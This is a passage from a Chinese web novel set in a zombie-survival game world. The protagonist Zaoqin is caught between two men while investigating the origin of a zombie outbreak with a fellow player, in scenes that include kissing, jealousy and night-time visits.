他顿了顿,“可能会有生命危险,我很怕那是我们最后一次见面,所以给自己留个念想,要活着回来找你。” 为什么不给他随机到他身边那个男人的身份,而是一个欺负过枣芩的垃圾旧情人。 枣芩眨眨眼,“……?” “那、那你回来后,我晚上来找你,你也不见我啊。” 宋呈根本不知道这事,眉头轻皱:“我不知道。” “你果然在撒谎,我都听到了!你让人把我打发走,我当时就在门外面,你没想到吧?”枣芩瞪他,再次挣扎起来。 “等等……!”宋呈生怕他像只鱼儿一样溜走了,又抱又搂,双臂桎梏住枣芩,“我不知道是你,我们现在把那天进来报告的人叫进来,可以证明我以为是别人。” “在你之前刚有一个人来找过我。” 宋呈把自己想到的都解释了,“回来之后没有主动去找你,是因为看到你跟他过得很好……所以才去问你们是什么关系。” 他话语一顿,嗓音冷淡说出来的话却是,“……结果你让我亲你的脚。” 枣芩听清楚后瞬间耳朵尖都红了。 他嘴唇颤了颤,连忙扯开了话题,“他出去外面,是不是你动的手脚?” 宋呈一点也不心虚,“不是,基地正常的安排,他本来就应该去外出队。” 枣芩吞咽口水,视线挪动,“知道了,那我要走了。” 脸颊被碰了下,宋呈手指蹭掉一小片灰,忽然说:“他在外面忙时,我会照顾好你。” “。你应该的。不是你我也不会再这里。”枣芩抬着下巴瞥他一眼。 宋呈喉结滚了滚,“好,是我该做的。” “昨天的话还算数吗?” “我想。” 枣芩昨天说了,说出来就让他亲,却没有让他亲。 —— 首城的外出队动作太慢了,拖拖拉拉,杀几个丧尸边聊天边慢吞吞的杀,上个楼都要互相推脱。褚风急着回家见枣芩,只能首当其冲。 但回来的时候天还是有一些黑了,夜幕挂了一半。 他步伐匆忙着上楼,远远的就看到家里的灯没开,不免拧紧眉,心脏绷紧。想起出门前乱跳的右眼皮。 好在回到家开灯后,看到了床上一个鼓起来的小扁包,才松了口气。 他吵闹的动静并没有把枣芩吵起来,褚风又关上了灯。他身上不干净,先进卫生间洗了个澡,却敏锐发觉浴室地板上有层薄薄的水迹,里面空气潮湿。 枣芩应该已经洗过澡了,今天洗的很早。 将身上沾染的灰尘洗净,他才慢慢上了床,其实现在该是吃下午饭的时候,他这一天也消耗了不少体力,可他想不到,有什么比和枣芩躺在床上睡一会更让他舒服的了。 褚风轻轻把枣芩搂到怀里,暗色中,看不到被他环着的人紧紧抿着得、有些肿胀痕迹的嘴唇。 枣芩和宋呈和好了……一半。 但枣芩根本不敢告诉褚风,褚风都百般告诉他不要和宋呈说话,才半天的时间,他转头都被宋呈给亲了嘴。 就像那种跟闺蜜发誓跟男朋友分手,却转头又悄悄和好了,却不好意思告诉闺蜜的感觉。 他还要再加一层,他和这两人的诡异关系。 褚风知道了一定要生气的。 “被我吵醒了吗?”褚风发觉他身体的僵硬,低声开口问他。 枣芩没想到自己开口的声音会这么奇怪,带着沙沙的哑涩,缓缓回荡在安静的屋里,“嗯,你洗澡的时候我醒的。” 才刚说完,他被自己的声音吓到身体更紧绷,褚风更是不可能不发现。 褚风沉默两秒,“是不是感冒了?” 枣芩嘴巴张了张,刚要说没有,就发觉褚风作势要起身开灯。 枣芩忙不迭伸手去抓他的胳膊,翻身扑到他身上,褚风没有反抗他的意图,顺着枣芩的意思,轻松就被他按在了身下。 他坐在褚风腰上,呼吸大乱,有点凉的手为了稳住身体,只能撑在对方胸口处,“先别开灯…我就是…” 枣芩脑袋瓜飞速转动起来,胡乱编了一个理由,“我就是自己在家里边看书边念,把嗓子给弄不舒服了。” 腰上坐着枣芩的小辟谷,是毫无缝隙的贴着。枣芩睡觉下、半身不喜欢穿衣服,只穿着条单薄的内裤。好在身上还披着被子,不会冷到。 而他,刚刚洗了澡,上半身根本就什么都没穿。 这姿势让褚风胸腔震颤,耳边嗡鸣,差点没听明白枣芩说的话。 为了不显得自己色令智昏,满脑子黄色废料,褚风还是硬撑了一下,“芩芩,先让我起来给你倒杯水喝吧,润一下嗓子。” 怎么还要起来? 不行啊。 枣芩心里有点急了。褚风要是起来,百分百会看出他的嘴巴是被人亲过的,肯定会生气。 他呼吸发促,咬咬牙,硬着头皮俯身,半趴着,把自己的嘴唇送上去。 枣芩嘴唇轻颤,小声说:“今天还没亲亲我呢……” 手心下胸膛的皮肤滚烫到如同烧起来了,仅仅因为他一句话,一起一伏的弧度都很大,如同濒临绝境的急促呼吸。 褚风喃喃:“宝宝……宝宝。” 本就肿的肉嘟嘟的下唇,再次被人贪婪痴迷的含住,纤薄细嫩的后背被大手往下按,起都起不来。 褚风被枣芩罕见的主动刺激到,脑子都成了一团浆糊,分不清东南西北,只剩下了面前小小软软的嘴唇。 真是要命。 枣芩被亲得嘴巴疼、眼底往外溢水雾的时候,攥紧了手指,心里骂起了宋呈,要不是他,自己也不至于这样。 可恶啊! “芩芩,我错了。”褚风随便套了个背心,粗胳膊粗腿搂着枣芩,枣芩软趴趴靠在他胸口,嘴唇被亲得烂熟,脸上也是一片水红,睫毛湿哒哒黏在眼尾。 好不可怜。 枣芩被他喂着喝了水,稍微把嘴唇碰了下都难受得厉害,却还很宽容的,轻声说:“没关系,我知道你不是故意的……不怪你。” 要怪宋呈那个坏家伙。 褚风拧着眉,低头细细看着,“怎么肿的这么厉害。” 枣芩睫毛颤了又颤,心里乱糟糟,细白手指抓了抓褚风身上的背心,“可能是因为我把自己咬了几下吧,不用管这个了。” “你明天不出去吧?”枣芩抬眼问他。 褚风心脏泡在温水中似的舒坦,“嗯,不去。” 他才出去了半天,他老婆的黏人程度直接上升了一个等级。 褚风眼底晦暗不明,又看了看他的嘴唇,心里觉得自己也没有亲的太重。哄道:“醒来就不会难受了,对不起,以后都不会这么重了” 这次枣芩太主动,他可能是一时没控制住。 枣芩不用工作,闲着都没什么事情干,再加上晚上睡的早,第二天比褚风还醒得早,十点就醒了。 他连着两天都没睡懒觉。 等到褚风要去买饭时,他自然也就跟上了,褚风给他戴了口罩,帽子的基础上又裹了围巾。 美其名曰,嘴巴受伤了更要防止被细菌侵入,感冒很难受。 简直像个明星一样。 可他都裹成这样了,居然有人叫他:“枣芩?” 枣芩还没反应过来,褚风已经先一步回头,枣芩慢吞吞看去,是一个带着黑框眼镜,身型颀长瘦高的青年。他长相清俊,笑眯眯的,有些惊喜的样子。 枣芩在原地愣了几秒,眨眨眼,没认出这人。 这几秒对方已经上前来,走进了身上有携着股类似消毒水的味,不算难闻也不好闻。 “我想的没错,宋呈在你怎么可能不在。” 他在褚风身上停了秒,对枣芩笑说:“和你朋友一起吧。大家吃个饭,就在那边包厢里,很近的。” 这人表现的很友善。 褚风不确定他们的关系,枣芩会不会愿意去,看向了枣芩。 枣芩根本想不起来他是谁,也怕露馅造成什么后果,正准备推脱说他们有事情,下次吧。 宋呈冷不丁不知道从哪里冒了出来,同时在的,还有几个人。 他冷淡说了句:“一起吧。” 态度又和昨天大为不同了,像是跟枣芩不太熟。 那陌生青年的视线在他们两人间游走。在枣芩伸手抓住褚风的袖子时,眉梢轻轻抬了下,转而看向枣芩。 枣芩有自己的考量,昨天宋呈还有问题没回答他。 他被亲的头昏脑胀的时候,突然想起了自己最重要的目的。 ——通关。 他找宋呈是为了快点离开副本,又不是为了听他道歉。 他问宋呈现在知道丧尸病毒是怎么回事吗?宋呈呼吸粗重,没回答他,又猴急的吻了上来。 之后枣芩就拧着眉开始推人,反而把这事抛在脑后了,见着人才又想起来。 枣芩只露着一对圆眼睛,扫了眼他身后的人,没说话,只点了头。 这么多人一起吃的话,应该不会尴尬。 包厢内是传统的圆桌,因为人不少的缘故,居然也就是堪堪坐下。 枣芩右边是褚风,他们一进来就坐在了一起,枣芩有些局促挨着褚风。他左边的位置是空的,似乎不太受欢迎。他们一个个落座,就剩下了宋呈和那个消毒水味的青年。 枣芩感觉不太妙,想叫一下对方,又不知道他叫什么,口罩下的嘴巴张了张又合上。 下一秒,那青年就走去枣芩斜对面的空位置坐下,宋呈就只剩下了枣芩左侧的座位。 枣芩:…… 菜都还没上,从他们插科打诨的对话中,枣芩知道他们刚开完会,便顺路一起来吃饭。对面认识枣芩的那个青年叫江士修,和他是同一个学校的,在学校里也算知名。 菜接连不断上了,摆了一大桌。枣芩才想起来解开围巾和口罩,褚风自然伸手接过,随手放到一旁去。 转个头的功夫,一个个都明里暗里盯上了枣芩。 枣芩睫毛垂着,手指拿起筷子,就近夹了一块豆腐放在自己碗里,不知道自己脸上被口罩和围巾闷得微红,嘴唇更是…… 枣芩张着嘴要吃那块豆腐,察觉到大家的视线,又放下,“呃、怎么了?” 隔得老远,江士修黑框眼镜下的眼睛眯起来,平静陈述:“你的嘴,有点肿。” 枣芩睁大眼睛,下意识抿住唇,转向褚风。 褚风说了今天就不会难受了,他确实不疼,可他早上没仔细看镜子,不知道还肿着。 褚风心情好了很多,眉梢挑了下。枣芩转向他的动作太过自然亲近,谁都会知道这是他留下的痕迹。 他凑近看了下,手放在枣芩肩头上,用手指轻轻碰了碰,旁若无人问:“还疼不疼了?” “不疼…”枣芩闷闷说。 “不疼就行,不舒服吃完饭我们去买个药擦擦。” 枣芩随口:“嗯。” 一桌人眼观鼻鼻观心,他们来之前,本不知道宋呈和枣芩关系不一般,还是江士修暗示他们才知道。强忍着没去看旁边的宋呈,生怕自己的视线成了惹怒他的火星子。 出于某种讨好宋呈的心思,江士修旁边的男人装作随意,笑问:“褚哥?我有个问题想问,不知道能不能问。” 褚风给枣芩夹了菜,扯了下嘴角,“什么问题?” “嘿嘿,能问就行,你们是怎么认识的?我就感觉你俩不像一个频道的人啊。” 另一个贼眉鼠眼的开口搭腔,“什么叫一个频道?我跟你是一个频道吗?” “你呸,滚昂。我看着芩、枣芩和宋哥,比较像一个频道的。”他转头找江士修认同,“是吧?” 江士修缓缓点头,“确实是,他们在学校里关系就很不一般,基本全校都知道。” 他们几个一人一句,就差没说褚风配不上枣芩,宋呈才是枣芩的良配了。 褚风面色没变化,眼底泛着冷意。他说呢,怎么可能普普通通就吃顿饭。 半掩在桌子旁的手已经掐紧,手背青筋鼓起,哼笑了声,“看起来你们应该都没有谈过恋爱吧。” 满桌子人:…… “有些东西不是这么算的。”褚风道。 枣芩埋头吃着东西,听到他们一直在说话,还说到自己,就抬起头茫然听着。 唇边被纸巾擦拭,枣芩像是习惯被这么对待了,褚风熟稔收起,用行动说了话。 “哈、哈哈哈。”干巴巴的笑声响起。 他们的话题终于转到别处。 枣芩也跟着稍微松了口气,不要聊他了就行。 枣芩胃口小,吃的差不多就放下筷子,打算等着饮料到了再喝几口。褚风问他现在要不要回家,枣芩看他都没吃几口,让褚风多吃点再回家。 “别人请客,不吃白不吃。”他手挡着嘴,凑到褚风耳边说。 褚风被他话里的‘别人’戳中,嘴角不受控制扬起,“行,那我们得多吃点。” 桌子下的小腿被碰住,枣芩懵了瞬,朝左边看过去,对上宋呈也正好朝他看过来,似有若无笑着的黑眸。 桌上说话声几乎没停过,枣芩迅速转开视线,不看他。撑在椅子上的雪白左手却被握住,抬起来。 宋呈的手干燥微凉,一根根把手指塞进了枣芩指缝中,与他十指相扣。 “宋哥,那就按照我们今天说的做,先弄过去,控制一下。” 宋呈说话声就在耳边,冷淡又若无其事地回答,“嗯,让大家都少出门。” “行,知道了。” 第94章 第 94 章 骑马 宋呈过于平静的声音, 仿佛当着这么多人的面,偷偷在桌子下面摸枣芩手的不是他。 因为他的从容,枣芩禁不住呆愣住了。 “好了, 回家吧。”褚风忽然出声。 他吃得快, 不像枣芩那么细嚼慢咽, 三两口味都没品就吃饱了。 褚风并不想让枣芩和宋呈待在一个空间, 他需要防患未然。 哪怕他对外说枣芩和自己已经结婚,也没法保证宋呈不会再次喜欢上枣芩, 突破人类道德底线。 褚风一开口, 枣芩就连忙抽手,指节被宋呈卡住, 抽都抽不出来。 枣芩有点慌,脸上开始冒热气。不说褚风,现在一桌子人都觉得他是和褚风在一起的,要是被他们察觉到, 那就丢死人了。 他趁身旁的褚风起身去给他拿衣服,转过头, 抬着漂亮又携着不悦的睫毛,低声质问起宋呈:“你又要干什么啊?松开我……!” 宋呈垂眼凝视着他,同样压低声音到只有两人能听到的程度,“你被我亲成那样, 他看到了吗?现在的是他亲出来的对不对。” 枣芩的唇依旧有点不正常的鼓胀, 也要比平时红一些,像没有过分浓烈的花瓣洇开的颜色,一张一合都能让他联想到昨天,枣芩被自己吻到直哼哼的画面。 “。”枣芩别过了脸,已经对他这人没话说了。 宋呈也没想真的闹出什么事, 让枣芩生气,松开他的手,在手腕上摩挲了下,就放任他像只鱼一样滑走了。 “你们要走了?” 倏地一道声音响起,是江士修在说话,他的目光也正落在枣芩脸上。 那稍微弯起的眼睛,透出一股什么都知道的错觉,他一直没和别人说话,不知道从什么时候开始盯着他们这边,枣芩恍然觉得他看出来了。 枣芩吞咽了下口水,胡乱点头,“嗯。” 褚风一张冷脸,却像是照顾惯了人。枣芩一起身,他就熟练地帮枣芩穿外套。 被这么多人的目光看着,枣芩手指头都细抖,浑身上下不舒服,脖子脸直冒起热气,想要反抗一下都来不及,褚风都已经给他系好围巾了。 他们会不会觉得自己是个四肢不勤、五谷不分的草包啊…… 枣芩闭了下眼,只能强装着安慰自己,【我不尴尬,尴尬的就是别人。】 系统:【你说得对。】 弹幕仿佛知道他在想什么似的。 【宝宝就是需要照顾,那咋了?出去还要背背呢】 【那个前夫能不能别盯了,注意身份,已经不是第一老公了哈。】 【褚风好狗】 【呜呜呜代入了,我在给老婆拿衣服的时候,他的手会不会被别的狗牵到,会不会被别的狗亲到,一想就好难受(没演,真心酸)】 【那就心酸多了,事实是你连拿衣服的机会都无】 【?】 枣芩对他们挥了挥手拜拜,两人就一起出去了,包厢内诡异安静许久后,才再次有了声音。 · 这个基地大到绕不完,枣芩兴致勃勃拉着褚风去找有没有什么好玩的地方,基地一小半都没走完,他就累得不行,连回去的力气都没有了,走一步歇两步。 还真被弹幕一语成谶,枣芩被羞耻和疲累拉扯着,把围巾往上拉了拉遮住自己的脸蛋,最终抱着褚风的脖子,软绵绵趴在了他背上。 枣芩的腿都已经不是自己的了。 路上好些人刚下工去吃下午饭,难免有目光落在他们身上。枣芩低头小声说,“要不你把我放下吧……有人看。” “没事,他们会体谅一个腿酸腰软的伟大探险家的。”褚风一本正经。 枣芩涨红脸:…… 分明是在笑话他吧。 半天,他绞尽脑汁才细声回怼一句,“中世纪的探险家、累了也和我一样骑马嘛?” 本来以为褚风会被他说的张口结舌,败下阵去。结果褚风反倒低低笑了声。 “那当然了。从马身上下去,还要亲几下‘被骑’的马。 ……表达感谢。” 枣芩听着他刻意加重的音,手指蜷起,憋出一句:“无语。” 两人混在人流中,慢悠悠地走,倒显得有些悠闲惬意。 褚风肩背宽阔,步伐平稳轻松,背着枣芩毫不费力。配着周遭如同白噪音一样的脚步声说话声,枣芩都有点昏昏欲睡。 极其突兀的一声痛苦叫喊冲进耳膜,人群骤然间作鸟兽散,脚步声杂乱错综,混杂着几声“丧尸!”“跑啊!” 枣芩的睡意登时跑没影,还没来得及看清楚状况,他自己的身体也移动起来。 他抬着脑袋,睁圆眼睛去看。 在不停移动的人与人的缝隙中,依稀看到一个人,从背后抓着另一个人的肩膀咬了上去。 那个人还没死,目眦欲裂地对着人群伸出手,似乎在妄想有人救下他。 他们在就近的商店里躲了接近一个小时,里面外面嘈杂混乱的声音都接连不断。 商店内的人劫后余生的吸气,讨论起怎么会突然发生这种事? 丧尸化的人并不只有一个,连带着被快速同化的,有七八个。 角落里,枣芩趴在窗户上往外面看。褚风神情不明站在他身后,说了声:“要不别看了。” “唔。”枣芩雪白额头在玻璃上抵了一小会,出现个红印子。褚风垂眼指腹摸了摸,“等会就好了,护卫队来了挺多人。” 枣芩抬起头,眉头轻皱,抿了下唇才小声说:“你看到那个丧尸的脸了吗?” “什么?” “是带我们进来的其中一个,不怎么说话的那个。他的工作,应该在基地待了很久才对,怎么会突然变成丧尸,好奇怪。” 没有源头吗? 明明他不是外出队,最近也没听说有丧尸化事件。 众目睽睽之下发生这事情,好像引起了基地的恐慌,如果不是必须要工作,普通人都不敢出门了。 褚风这个外出队的不外出,反倒是被调到了护卫队,哪里需要哪里补。 褚风倒宁愿一直在护卫队待着,不用长时间离枣芩太远。 只是最近的状况明显不对。 一连几天,基地里各处都突发丧尸化事件,群众的恐慌情绪也压不下去了。 基地上层强迫的状况下,好些人都被吓得躲在屋子里不出门。 原本以为安全的基地,变得不安全了。 基地也不能真的把他们怎么样,或者强迫他们工作。 当务之急是先处理了丧尸化问题。 于是,就把外出队先暂停,调到了护卫队去。 褚风被迫忙得枣芩看不到他,基本晚上回来枣芩都已经睡了。没睡的时候,枣芩就听他说这事的进展,企图获取线索。 枣芩猜测类似的事情其实早就发生过了,只是被上层隐瞒下来。而那次发生在众目睽睽之下,导致连带着之后的,所以没法再隐藏。 而他的这种猜测,也不是空穴来风没有出处。 那天在饭桌上,宋呈在桌子下握他手的时候,随口对着手下吩咐了几句,说要把什么先弄过去,控制一下。 当时他手下的表情并不放松,他们在饭桌上也没有谈到有关这件事。 所以枣芩完全有理由这么怀疑。 枣芩被开门声唤醒,知道是褚风回来了,惺忪眼皮一闭,又要睡着了。 最近几天都是这样的,他都习惯了。褚风接下来会摸黑进卫生间洗漱,再轻手轻脚地上床睡觉。 但片刻后,枣芩察觉到不太对劲,黑暗中再次睁开眼睛。 黑影并没有进卫生间,而是来到他身边,没发出丁点声音,就伫立在他床边,居高临下安静注视着枣芩,目光如有实质般,湿冷冷游移在枣芩身上。 枣芩后背发凉,清醒了大半。 仗着对方看不到他睁没睁眼,他悄悄看去,黑夜中看得不是很清晰,但也明显要比褚风瘦一些。 不是褚风,那应该是…… 宋呈吗? “这么早就睡了。”像是自说自话,声音也没有刻意压低。 枣芩把眼睛闭上,这怪异的场面让他睫毛胡乱抖动,呼吸猛停了秒。在他床边说话的既不是褚风也不是宋呈,他都想错了。 声音有点熟悉,但枣芩一时想不起来到底属于谁,大半夜出现在他房间又为了什么? 但肯定不会是什么正经的好事就对了。 枣芩吞咽了下口水,决定继续装睡。 对方又停顿了会,平静的脚步声朝外走去,应该是见枣芩睡着就走了,关门声很快响起。 屋内重新陷入安静,枣芩后背发麻,手撑着床单,慢吞吞从床上坐起来,睡意消失的一干二净。他沉下心,呼吸依旧绷着,想去起身把门反锁。 他为了给褚风留门,门都是不反锁的,但第一道锁是关着的。这人能开第一道锁进来,绝不是误打误撞。 枣芩腰腹都紧绷起来。 下床趿上拖鞋,正要起身,视线中骤然一片大亮。 枣芩表情呆愣,没反应过来,缓缓朝门口看去。 本该什么都没有的位置,此时站着一个高高瘦瘦的男人,他眼镜镜片折射着光,看不清眼神。见枣芩看过来,露出个微笑,淡淡说:“我就觉得你没睡。” 他眼底平静到,好像自己做的事情一点问题都没有,枣芩睫毛剧烈抖起来。 江士修觉得他有点傻得可爱,装睡都装不像。 人一走就立刻爬起来,都不怕被听到。 当然,就算枣芩再晚起来,现在的场面也不会有任何变化。 江士修做出不好意思的表情尴尬笑了下,用来安抚枣芩,毕竟他可不是为了吓唬他才来的。 枣芩原本白着脸僵在原地,在看到他明显心虚不自在的歉意表情后,才像是意识到他没坏心思,而稍微松了口气。 “你来干什么?你、”枣芩腿一软,坐回了床上,并不友好的诘问他,“你怎么开的门?” 江士修:“我有话跟你说。” “?”枣芩唇微张,从江士修身上看不出恶意,于是被吓到的气愤反倒涌上来,他压了压没压住,“你这话很不合理,有什么话,有必要这么晚来吓唬我?” 他们压根不熟吧,有什么话能这么急? 枣芩一顿,心底有些紧张起来,“……褚风怎么了嘛?” 除了这个他想不到别的。 “不是他。”江士修清隽眉头蹙了下,很快松开。“是我自己有话对你说,不想被别人听到,所以趁这个时间来找你,没有故意吓你的意思。” 枣芩沉默下来。褚风没事就好。 “进来是因为门一推就开了,应该没关好,刚刚没出去是想和你开个笑话。似乎并不好笑。”江士修瘫了下手,手指瘦而长,中指戴着素戒,看起来是个很讲究的人。 他闲庭信步走近枣芩,来到他身旁自来熟地坐下,枣芩身体微微倾远些,眼底有些惊讶,这人就这么坐他床上了。 “你不觉得奇怪吗?” 他头转向枣芩,平静看着他,“这几天基地连着出现了几天丧尸,可是最近除了你们之后,没有人再进来了。” 他一句话把枣芩褚风和丧尸病毒联系到一起。 枣芩可担不起这怀疑,立马摆手,有些磕巴的说:“不是我们啊,我们、我们两个都不知道。” 他睁着漂亮圆眼睛摆手的样子,让江士修沉默了会,继续说:“没怀疑你。这些丧尸没有感染源,像凭空出现的一样,我怀疑这些人都是直接接触了最初的源头,而不是被二次感染,听懂了吗?” 他刻意用了简单化的解释。 江士修说的很清楚,语气温和。 枣芩听着听着,若有所思开口道:“就是说、” 和最初的源头有关系,他很可能在这次事件中完成自己的任务,找到病毒出现的原因。 其实枣芩本身也差不多是这么想的。 枣芩看了眼江士修,没把自己的警惕表现出来,继续用一副单纯的样子问:“我明白,不过你找我说这些干什么?” “你不也和我一样,不属于这里吗。” 江士修用了一种笃定的口吻,对着枣芩笑了下,温温柔柔地凑近一些,视线微不可察上下掠过,在某处稍微停顿。 “我猜我们来自同一个地方。” 第95章 第 95 章 洗澡抱老婆 枣芩当然明白他话里的意思, 面对江士修过分的近距离,都没做出抗拒反应,直接怔愣住了。 原本呼之欲出的警惕, 转变成遇到同类的惊讶。 江士修居然也是玩家? 这个副本限制少, 地域大。玩家的任务各不相同, 分布的地点则会和任务挂钩。 除了涂晋, 枣芩也想过或许会遇到其他的玩家,但没想到会是这样的场面。 “其实在学校的时候就感觉你是, 确定了之后就想和你合作了。” 江士修说着, 若无其事退回到安全距离,又浅笑了下。他戴着眼镜看着挺斯文, 是一般人都会觉得值得信任的类型。 他邀请说:“我已经找到一些线索了,记录了不少东西,就在我那边,你现在要去看吗?毕竟, 三个臭皮匠顶一个诸葛亮,说不定我们一起可以看出我看不出的东西。” “真的?”枣芩很惊喜, 走势漂亮的眼睛睁圆盯着江士修。 江士修的口吻让枣芩觉得,江士修知道的东西不少。 他捏着的手指松了点,可看了眼窗外,现在已经很晚了。他有些犹豫起来。 但是转念想, 又能花多少时间呢, 应该不会遇到什么危险吧。 枣芩也想多知道点线索,早点离开副本。 还不如让江士修现在直接告诉他好了,可江士修拧了下眉,有些苦恼道有些让他说他一下还说不上来,很多很复杂。 枣芩思考纠结的很明显, 小脸绷得紧紧的。白皙手腕从浅色睡衣袖口伸出,手指无意识挡住嘴唇。 江士修面色平静看着他,镜片下的眼睛却翻卷起晦暗不明的雾霭。他本该说点什么的。 “要不天亮吧,明天我去找你……褚风回来看不到我肯定会很担心,明天也不晚。”枣芩想来想去,最后放下手小声说。 灯光倒映在枣芩颜色略浅的眼睛,他眼巴巴等待江士修的回答。江士修看着他这幅样子,转而挪开了视线。 比起上次见面姿态亲昵了许多,仅仅因为他们来自同一个地方。 江士修轻吸一口气,“确定?” 说出口,没等枣芩的回答,他又仿佛前面的那句没说似的,“好的,明天等你。” 枣芩:“嗯!” 江士修起身,背对着枣芩,伫立一会转头,“我回去了。” 说完就迈步离开,身后的枣芩忽然开口叫住了他,问:“对了,你怎么不找宋呈呀?他很厉害的。” 江士修吸了吸空气中的味道,形容不出来。这屋子浸了许久,他进来就闻到了,是独属枣芩的,引人吸气的香味。 他听到自己说:“他是独狼,看不上和我们一起,还是你比较合适,而且你也很厉害呀。” 枣芩抿住唇,垂了下头,“噢,我明天先去和他说说,他会和我们一起的。” 江士修心头浮起一点不那么舒适的情绪,干而燥,“当然可以,你很有自信。不过据我所知,他和我们的任务不一样,本身不需要调查这些,他可能不会愿意多花这些力气。” 他回头:“我也不知道,不了解他。” 江士修拧动门把手,“明天见。今天吓到你抱歉了。” 枣芩摇摇头表示没事,等人走了,脚步声真的愈来愈远,才往后一倒,眨着眼睛看了会天花板。 他梳理着自己的想法。 江士修的话搞得他都不知道应不应该去找宋呈了,江士修说他自信,其实并没有,他也不确定宋呈会不会和他一起。 按照江士修说的,宋呈的任务和枣芩的不一样,宋呈没有理由陪着他寻找他任务的答案。 宋呈自己的任务都还没完成。 稍显急促的敲门声响起,停了下后,再次响起的节奏慢了许多。 枣芩微微抬起身子张望。 怎么又回来了? 枣芩只当江士修还有话没说完。 其实他也还有想问的,关于江士修调查到的东西,就算很多很杂,也能回答他几个问题吧。 他手肘撑着起身,趿上拖鞋,小跑几步过去开了门,看到来人一下错愣住。 一具劲瘦高大的身体,在他开门的瞬间就趁机侧身挤进来。青筋明显的手握住枣芩的手臂,轻松就反手关上门,这个过程仅仅用了一两秒。 枣芩嘴唇张了张,“你、” 宋呈背靠在门板上,呼吸略重,垂着眼看枣芩。握着枣芩手臂的手,下意识一般,把枣芩往他的方向拉拽一下。 枣芩轻微往前一晃,连发丝都跟着轻轻晃了下,宋呈立即被摇摇晃晃氤氲开的味道,弄得指尖酸麻。 枣芩盯着他,睫毛惊讶地眨着,好像并没想到来的会是他。 宋呈意识到自己的动作,是在对着一个有爱人的人。他僵硬的指节松了松,还是没松开。 枣芩虽然惊讶,但并没表现太大的反应。 甚至没有该有的诘问“你怎么会出现在这里”“你要干什么”之类的。 倒是眉心轻蹙,侧头小小声嘟囔了句:“怎么都这时候啊……” 宋呈敏锐捕捉到他话里的异常,眉峰拧了下,重复:“都?” “……” 枣芩镇定眨眨眼睛。他还没想清楚要不要问宋呈,暂时没把江士修说出来,随口解释,“褚风也差不多会这个时候回来。” 宋呈微不可察扯了下左边唇角,打量起周遭的环境,快速环视一圈,在那张放有两个枕头的大床上多停了片刻。 说了句:“今天不会了。” 枣芩几乎是瞬间明白了他什么意思。 宋呈好歹也是个副首领,让一个普通成员晚回家还是能做到的。 枣芩咬了下嘴唇,“噢,那你找我什么事?” 一个江士修,一个宋呈,全都鬼鬼祟祟的。为什么不能白天再来,现在应该是他的睡觉时间才对。 有点讨厌。 “……跟我走,去我那边住吧。” 宋呈冷冽面容平静,语气也镇定自若,眼底都没有太多情绪。 可握着枣芩的手臂却不由得紧了点力道,漫溢出的紧张都被他按捺住。 他知道枣芩同意的可能性很低,可他还是鬼使神差的过来,寄希望于和他无关的旧情。太不理智了。 宋呈:“最近基地出了事,你也知道。他保护不好你,但是你去我那边,我会保护好你。” 枣芩另一只手搭在他的手背上,把自己的手臂抽走。微热触感仅仅残留一瞬间。 枣芩明显在想什么,乌暗睫毛低垂着,慢吞吞走到床边坐下,不忘白他一眼,“是嘛。” 枣芩小腿轻轻晃了晃,往上,孱弱锁骨淹没在衣领中,一张脸很纯偏偏却有种让宋呈挪不开眼的魅力。连对他翻白眼,都让他心跳失衡。 枣芩当着他的面,散漫地往床上倒下去,伸着胳膊放松身体,表现出异常的熟稔,嘴里软绵绵的埋怨:“你又来了,你的信誉在我这里已经是负负分了!” 他补了一句,“倒数第一。” 并不长的睡衣衣摆被他的动作扯起,一截雪白柔韧的腰露出来,粉粉白白的一小片,就那么突兀出现在视野中。 枣芩自己浑然不觉,还嘟嘟囔囔:“我不相信你。” 宋呈喉结滚动,他早就确定枣芩和原本的宋呈关系不一般,但此时枣芩所展现的不设防,还是让他在心脏乱跳的空隙间,生出几分不爽。 但更多的还是酥酥麻麻的兴奋。 如果连这醋都要计较,他早就被褚风引起的醋给淹死了。 宋呈舌尖舔过牙尖,迈步走近枣芩,缓缓坐在他身旁,说起平时自己会感觉恶心的话,拿腔捏调的,“嗯,都怪我,是我之前太坏了。” 枣芩瞥向他,“……你这么说我也不会愧疚的。” 他慢吞吞起来,手撑在身后,发丝稍显凌乱,脸颊微红,“和你住就算了,不过看在你态度还算诚恳的份上,我们还是可以互相帮忙的。” 枣芩一点不心虚自己能不能给他提供帮助,一本正经看着宋呈。 …… “你干嘛不说话。” 搞得人有点心虚。 宋呈闭了几下眼:“好。” 他一同意,枣芩就问:“现在你们调查的怎么样了,找到这个病毒是怎么来的吗?” 宋呈又停滞了几秒,枣芩对他这幅态度很不太满意,不想回答就不要答应嘛。 他没忍住在宋呈胳膊上推了下,“我说话呢!” 枣芩真的是有点恼,手都没有收回来。 被这么对待,宋呈也没生气的迹象,按住了枣芩的手,更确切来说,是摸着。 他喉结再度滑动,回了神,“有一些头绪,但还是控制不住丧尸的出现,可能现在会突然出现在这栋楼里,所以才想把你带走。” 他跟被蜜水灌了的脑子,也还在思考,“你很在意这件事。” 大多数普通人都会更在意自己的生命安全,会下意识往更安全的地方去,会问丧尸什么时候消失。而不是关注这件事情的背后,病毒是怎么来的。 枣芩的态度和大多数人相反。 “不然呢?”枣芩抬着睫毛瞪他,“我不在乎这个在乎什么?” 这是他的任务啊。 宋呈倏地抬起头,看向门的方向,神色陡然变了变。 枣芩也看向门的方向,听到在上楼梯的重急脚步声,反应过来,“应该褚风回来了。” 他起身去开门,他记得他刚刚好像是把门里面锁上了,过去才发现没锁上。 回过头来刚刚宋呈在的地方已经空了,人消失的无影无踪。 枣芩呆愣了秒,看了眼窗户,是紧闭的,他们所在的楼层也不是一层两层。 他动作僵硬,不敢置信缓缓趴下,歪头往床底一看,“……” 枣芩抿了下唇,脚步声已经到了这层,他被带动的也紧张起来,赶紧轻手轻脚缩回到床上。 他是不想被褚风知道他和宋呈和好了,可宋呈,他藏起来干嘛。 他们也没有多见不得人吧,好歹在这里还是夫妻关系。 门被猛地推开。 褚风冷峻立体的脸出现,他面上充斥着紧张戾气,在看到枣芩乖乖坐在床上时,才消失殆尽。 他瞬间仿佛失去了力气,长长松了口气,垂下头又抬起来,喊了声:“芩芩。” 枣芩雪白脸颊莫名有些微红,像是刚睡醒似的,眼睛胡乱转了下,看起来很乖。 褚风脱下外套丢在衣架上,单膝先压床尾,像条巨型犬,俯身趴在了枣芩腿上,“还好。” 枣芩抬了抬手,还是放下了。褚风脸上有些倦意,但更让枣芩在意的,是此时在他们床底的宋呈…… “本来以为今天要晚回来了。” 枣芩顺着他说:“啊,那你怎么突然回来了呀。” 